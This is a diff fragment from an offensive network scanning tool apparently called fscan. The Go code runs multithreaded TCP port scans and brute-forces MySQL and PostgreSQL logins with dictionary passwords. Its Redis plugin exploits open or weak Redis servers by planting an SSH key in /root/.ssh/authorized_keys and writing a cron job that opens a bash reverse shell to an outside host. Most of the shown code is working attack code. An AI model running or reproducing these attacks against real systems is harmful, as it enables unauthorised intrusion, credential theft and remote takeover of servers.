Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(info.Timeout)*time.Second)
|
||||
Host,Port,Username,Password := info.Host, common.PORTList["mysql"],user, pass
|
||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host,Port, "mysql")
|
||||
db, err := sql.Open("mysql", dataSourceName)
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] mysql:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
result := fmt.Sprintf("mysql:%v:%v:%v %v",Host,Port,Username,Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
return flag,err
|
||||
}
|
||||
+125
-61
@@ -2,82 +2,146 @@ package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"../common"
|
||||
)
|
||||
|
||||
type Addr struct {
|
||||
ip string
|
||||
port int
|
||||
func ParsePort(ports string) []int {
|
||||
var scanPorts []int
|
||||
slices := strings.Split(ports, ",")
|
||||
for _, port := range slices {
|
||||
port = strings.Trim(port, " ")
|
||||
upper := port
|
||||
if strings.Contains(port, "-") {
|
||||
ranges := strings.Split(port, "-")
|
||||
if len(ranges) < 2 {
|
||||
continue
|
||||
}
|
||||
sort.Strings(ranges)
|
||||
port = ranges[0]
|
||||
upper = ranges[1]
|
||||
}
|
||||
start, _ := strconv.Atoi(port)
|
||||
end, _ := strconv.Atoi(upper)
|
||||
for i := start; i <= end; i++ {
|
||||
scanPorts = append(scanPorts, i)
|
||||
}
|
||||
}
|
||||
return scanPorts
|
||||
}
|
||||
|
||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
var AliveAddress []string
|
||||
probePorts := common.ParsePort(ports)
|
||||
noPorts := common.ParsePort(common.NoPorts)
|
||||
if len(noPorts) > 0 {
|
||||
tmp := make(map[int]struct{})
|
||||
var tmpPorts []int
|
||||
for _, port := range probePorts {
|
||||
for _, noport := range noPorts {
|
||||
if port != noport {
|
||||
if _, ok := tmp[port]; !ok {
|
||||
tmp[port] = struct{}{}
|
||||
tmpPorts = append(tmpPorts, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, model string, adjustedTimeout int) {
|
||||
Timeout := time.Duration(adjustedTimeout) * time.Second
|
||||
for port := range ports{
|
||||
start := time.Now()
|
||||
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout) * time.Second)
|
||||
duration := time.Now().Sub(start)
|
||||
if err == nil {
|
||||
defer con.Close()
|
||||
address := host + ":" + strconv.Itoa(port)
|
||||
result := fmt.Sprintf("%s open",address)
|
||||
common.LogSuccess(result)
|
||||
respondingHosts <- address
|
||||
}
|
||||
if duration < Timeout {
|
||||
difference := Timeout - duration
|
||||
Timeout = Timeout - (difference / 2)
|
||||
}
|
||||
probePorts = tmpPorts
|
||||
}
|
||||
workers := common.Threads
|
||||
Addrs := make(chan Addr)
|
||||
results := make(chan string)
|
||||
var wg sync.WaitGroup
|
||||
done <- true
|
||||
}
|
||||
|
||||
//接收结果
|
||||
func ScanAllports(address string, probePorts []int, threads int, timeout time.Duration, model string, adjustedTimeout int) ([]string, error) {
|
||||
ports := make(chan int, 20)
|
||||
results := make(chan string, 10)
|
||||
done := make(chan bool, threads)
|
||||
|
||||
for worker := 0; worker < threads; worker++ {
|
||||
go ProbeHosts(address, ports, results, done, model, adjustedTimeout)
|
||||
}
|
||||
|
||||
for _,port := range probePorts{
|
||||
ports <- port
|
||||
}
|
||||
close(ports)
|
||||
|
||||
var responses = []string{}
|
||||
for {
|
||||
select {
|
||||
case found := <-results:
|
||||
responses = append(responses, found)
|
||||
case <-done:
|
||||
threads--
|
||||
if threads == 0 {
|
||||
return responses, nil
|
||||
}
|
||||
case <-time.After(timeout):
|
||||
return responses, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TCPportScan(hostslist []string,ports string,model string,timeout int) ([]string,[]string){
|
||||
var AliveAddress []string
|
||||
var aliveHosts []string
|
||||
probePorts := ParsePort(ports)
|
||||
lm := 20
|
||||
if (len(hostslist)>5 && len(hostslist)<=50) {
|
||||
lm = 40
|
||||
}else if(len(hostslist)>50 && len(hostslist)<=100){
|
||||
lm = 50
|
||||
}else if(len(hostslist)>100 && len(hostslist)<=150){
|
||||
lm = 60
|
||||
}else if(len(hostslist)>150 && len(hostslist)<=200){
|
||||
lm = 70
|
||||
}else if(len(hostslist)>200){
|
||||
lm = 75
|
||||
}
|
||||
|
||||
thread := 5
|
||||
if (len(probePorts)>500 && len(probePorts)<=4000) {
|
||||
thread = len(probePorts)/100
|
||||
}else if (len(probePorts)>4000 && len(probePorts)<=6000) {
|
||||
thread = len(probePorts)/200
|
||||
}else if (len(probePorts)>6000 && len(probePorts)<=10000) {
|
||||
thread = len(probePorts)/350
|
||||
}else if (len(probePorts)>10000 && len(probePorts)<50000){
|
||||
thread = len(probePorts)/400
|
||||
}else if (len(probePorts)>=50000 && len(probePorts)<=65535){
|
||||
thread = len(probePorts)/500
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
mutex := &sync.Mutex{}
|
||||
limiter := make(chan struct{}, lm)
|
||||
aliveHost := make(chan string, lm/2)
|
||||
go func() {
|
||||
for found := range results {
|
||||
AliveAddress = append(AliveAddress, found)
|
||||
wg.Done()
|
||||
for s := range aliveHost {
|
||||
fmt.Println(s)
|
||||
}
|
||||
}()
|
||||
|
||||
//多线程扫描
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
for addr := range Addrs {
|
||||
PortConnect(addr, results, timeout, &wg)
|
||||
wg.Done()
|
||||
for _,host :=range hostslist{
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
defer wg.Done()
|
||||
if aliveAdd, err := ScanAllports(host, probePorts,thread, 5*time.Second,model,timeout);err == nil && len(aliveAdd)>0{
|
||||
mutex.Lock()
|
||||
aliveHosts = append(aliveHosts,host)
|
||||
for _,addr :=range aliveAdd{
|
||||
AliveAddress = append(AliveAddress,addr)
|
||||
}
|
||||
mutex.Unlock()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
//添加扫描目标
|
||||
for _, port := range probePorts {
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
Addrs <- Addr{host, port}
|
||||
}
|
||||
<-limiter
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
close(Addrs)
|
||||
close(results)
|
||||
return AliveAddress
|
||||
}
|
||||
|
||||
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
|
||||
host, port := addr.ip, addr.port
|
||||
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
|
||||
if err == nil {
|
||||
con.Close()
|
||||
address := host + ":" + strconv.Itoa(port)
|
||||
result := fmt.Sprintf("%s open", address)
|
||||
common.LogSuccess(result)
|
||||
respondingHosts <- address
|
||||
wg.Add(1)
|
||||
}
|
||||
close(aliveHost)
|
||||
return aliveHosts,AliveAddress
|
||||
}
|
||||
|
||||
+20
-26
@@ -1,52 +1,46 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/lib/pq"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func PostgresScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["postgresql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
func PostgresScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
Loop:
|
||||
for _,user:=range common.Userdict["postgresql"]{
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
flag, err := PostgresConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
flag,err := PostgresConn(info,user,pass)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
func PostgresConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
|
||||
db, err := sql.Open("postgres", dataSourceName)
|
||||
Host,Port,Username,Password := info.Host, common.PORTList["psql"],user, pass
|
||||
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host,Port, "postgres", "disable")
|
||||
db, err := sql.Open("mysql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("Postgres:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
result := fmt.Sprintf("Postgres:%v:%v:%v %v",Host,Port,Username,Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
return flag,err
|
||||
}
|
||||
|
||||
|
||||
|
||||
+116
-263
@@ -1,265 +1,180 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"bufio"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func RedisScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
flag, err := RedisUnauth(info)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
func RedisScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
flag,err := RedisUnauth(info)
|
||||
if flag==true && err==nil {
|
||||
wg.Done()
|
||||
<- ch
|
||||
return
|
||||
}
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
||||
flag, err := RedisConn(info, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
|
||||
Loop:
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", string("redis"), -1)
|
||||
flag,err := RedisConn(info,pass)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
||||
func RedisConn(info *common.HostInfo,pass string)(flag bool,err error){
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
|
||||
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil{
|
||||
return flag,err
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") {
|
||||
result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
|
||||
conn.Write([]byte(fmt.Sprintf("auth %s\r\n",pass)))
|
||||
reply,err := readreply(conn)
|
||||
if strings.Contains(reply,"+OK"){
|
||||
result := fmt.Sprintf("Redis:%s %s",realhost,pass)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
err = Expoilt(realhost, conn)
|
||||
Expoilt(info ,realhost,conn)
|
||||
|
||||
}
|
||||
return flag, err
|
||||
return flag,err
|
||||
}
|
||||
|
||||
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
|
||||
func RedisUnauth(info *common.HostInfo) (flag bool,err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
|
||||
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil{
|
||||
return flag,err
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write([]byte("info\r\n"))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
if strings.Contains(reply, "redis_version") {
|
||||
result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
|
||||
conn.Write([]byte("info\r\n"))
|
||||
reply,err := readreply(conn)
|
||||
if strings.Contains(reply,"redis_version"){
|
||||
result := fmt.Sprintf("Redis:%s unauthorized",realhost)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
err = Expoilt(realhost, conn)
|
||||
Expoilt(info ,realhost,conn)
|
||||
}
|
||||
return flag, err
|
||||
return flag,err
|
||||
}
|
||||
|
||||
func Expoilt(realhost string, conn net.Conn) error {
|
||||
dbfilename, dir, err := getconfig(conn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
flagSsh, flagCron, err := testwrite(conn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if flagSsh == true {
|
||||
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
|
||||
func Expoilt(info *common.HostInfo,realhost string,conn net.Conn) {
|
||||
flagSsh,flagCron := testwrite(conn)
|
||||
if flagSsh == true{
|
||||
result := fmt.Sprintf("Redis:%v like can write /root/.ssh/",realhost)
|
||||
common.LogSuccess(result)
|
||||
if common.RedisFile != "" {
|
||||
writeok, text, err := writekey(conn, common.RedisFile)
|
||||
if err != nil {
|
||||
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
|
||||
return err
|
||||
}
|
||||
if writeok {
|
||||
result := fmt.Sprintf("[+] %v SSH public key was written successfully", realhost)
|
||||
if info.RedisFile != ""{
|
||||
if writeok,text := writekey(conn,info.RedisFile);writeok{
|
||||
result := fmt.Sprintf("%v SSH public key was written successfully",realhost)
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
fmt.Println("Redis:", realhost, "SSHPUB write failed", text)
|
||||
}else {
|
||||
fmt.Println("Redis:",realhost,"SSHPUB write failed",text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if flagCron == true {
|
||||
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
|
||||
if flagCron == true{
|
||||
result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/",realhost)
|
||||
common.LogSuccess(result)
|
||||
if common.RedisShell != "" {
|
||||
writeok, text, err := writecron(conn, common.RedisShell)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if writeok {
|
||||
result := fmt.Sprintf("[+] %v /var/spool/cron/root was written successfully", realhost)
|
||||
if info.RedisShell != "" {
|
||||
if writeok,text := writecron(conn,info.RedisShell);writeok{
|
||||
result := fmt.Sprintf("%v /var/spool/cron/root was written successfully",realhost)
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
fmt.Println("[-] Redis:", realhost, "cron write failed", text)
|
||||
}else {
|
||||
fmt.Println("Redis:",realhost,"cron write failed",text)
|
||||
}
|
||||
}
|
||||
}
|
||||
err = recoverdb(dbfilename, dir, conn)
|
||||
return err
|
||||
}
|
||||
|
||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
|
||||
func writekey(conn net.Conn,filename string) (flag bool,text string) {
|
||||
flag = false
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
key, err := Readfile(filename)
|
||||
if err != nil {
|
||||
text = fmt.Sprintf("Open %s error, %v", filename, err)
|
||||
return flag, text, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
text = fmt.Sprintf("the keyfile %s is empty", filename)
|
||||
return flag, text, err
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
key,_ := Readfile(filename)
|
||||
conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n",key)))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
if len(text) > 50{
|
||||
text = text[:50]
|
||||
}
|
||||
return flag, text, err
|
||||
return flag,text
|
||||
}
|
||||
|
||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
|
||||
|
||||
func writecron(conn net.Conn,host string) (flag bool,text string) {
|
||||
flag = false
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
scan_ip,scan_port := strings.Split(host,":")[0],strings.Split(host,":")[1]
|
||||
conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",scan_ip,scan_port)))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(text,"OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}//else {fmt.Println(text)}
|
||||
}//else {fmt.Println(text)}
|
||||
}//else {fmt.Println(text)}
|
||||
}//else {fmt.Println(text)}
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
if len(text) > 50{
|
||||
text = text[:50]
|
||||
}
|
||||
return flag, text, err
|
||||
return flag,text
|
||||
}
|
||||
|
||||
func Readfile(filename string) (string, error) {
|
||||
func Readfile(filename string)(string,error){
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
if err!=nil{
|
||||
fmt.Println("Open %s error, %v", filename,err)
|
||||
return err.Error(),err
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
return text, nil
|
||||
return text,nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
return err.Error(),err
|
||||
}
|
||||
|
||||
func readreply(conn net.Conn) (result string, err error) {
|
||||
func readreply(conn net.Conn) (result string,err error) {
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
@@ -271,84 +186,22 @@ func readreply(conn net.Conn) (result string, err error) {
|
||||
break
|
||||
}
|
||||
}
|
||||
return result, err
|
||||
return result,err
|
||||
}
|
||||
|
||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
func testwrite(conn net.Conn) (flagSsh bool,flagCron bool) {
|
||||
flagSsh = false
|
||||
flagCron = false
|
||||
var text string
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(string(text),"OK") {
|
||||
flagSsh = true
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
text,_ = readreply(conn)
|
||||
if strings.Contains(string(text),"OK") {
|
||||
flagCron = true
|
||||
}
|
||||
return flag, flagCron, err
|
||||
}
|
||||
|
||||
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text1 := strings.Split(text, "\n")
|
||||
if len(text1) > 2 {
|
||||
dbfilename = text1[len(text1)-2]
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text1 = strings.Split(text, "\n")
|
||||
if len(text1) > 2 {
|
||||
dir = text1[len(text1)-2]
|
||||
} else {
|
||||
dir = text1[0]
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
dbfilename, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
dir, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
return flagSsh,flagCron
|
||||
}
|
||||
+54
-86
@@ -1,108 +1,29 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"reflect"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func Scan(info common.HostInfo) {
|
||||
fmt.Println("start infoscan")
|
||||
Hosts, _ := common.ParseIP(info.Host, common.HostFile)
|
||||
WebScan.Inithttp(common.Pocinfo)
|
||||
var ch = make(chan struct{}, common.Threads)
|
||||
var wg = sync.WaitGroup{}
|
||||
if len(Hosts) > 0 {
|
||||
if common.IsPing == false {
|
||||
Hosts = ICMPRun(Hosts, common.Ping)
|
||||
fmt.Println("icmp alive hosts len is:", len(Hosts))
|
||||
}
|
||||
if info.Scantype == "icmp" {
|
||||
return
|
||||
}
|
||||
AlivePorts := PortScan(Hosts, info.Ports, info.Timeout)
|
||||
fmt.Println("alive ports len is:", len(AlivePorts))
|
||||
if info.Scantype == "portscan" {
|
||||
return
|
||||
}
|
||||
|
||||
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
|
||||
for _, port := range common.PORTList {
|
||||
severports = append(severports, strconv.Itoa(port))
|
||||
}
|
||||
fmt.Println("start vulscan")
|
||||
for _, targetIP := range AlivePorts {
|
||||
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
|
||||
if info.Scantype == "all" {
|
||||
if info.Ports == "445" { //scan more vul
|
||||
AddScan("1000001", info, ch, &wg)
|
||||
AddScan("1000002", info, ch, &wg)
|
||||
} else if IsContain(severports, info.Ports) {
|
||||
AddScan(info.Ports, info, ch, &wg)
|
||||
} else {
|
||||
AddScan("1000003", info, ch, &wg) //webtitle
|
||||
}
|
||||
} else {
|
||||
port, _ := common.PORTList[info.Scantype]
|
||||
scantype := strconv.Itoa(port)
|
||||
AddScan(scantype, info, ch, &wg)
|
||||
}
|
||||
}
|
||||
}
|
||||
if common.URL != "" {
|
||||
info.Url = common.URL
|
||||
AddScan("1000003", info, ch, &wg)
|
||||
}
|
||||
if len(common.Urls) > 0 {
|
||||
for _, url := range common.Urls {
|
||||
info.Url = url
|
||||
AddScan("1000003", info, ch, &wg)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
common.LogWG.Wait()
|
||||
close(common.Results)
|
||||
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
|
||||
}
|
||||
|
||||
var Mutex = &sync.Mutex{}
|
||||
|
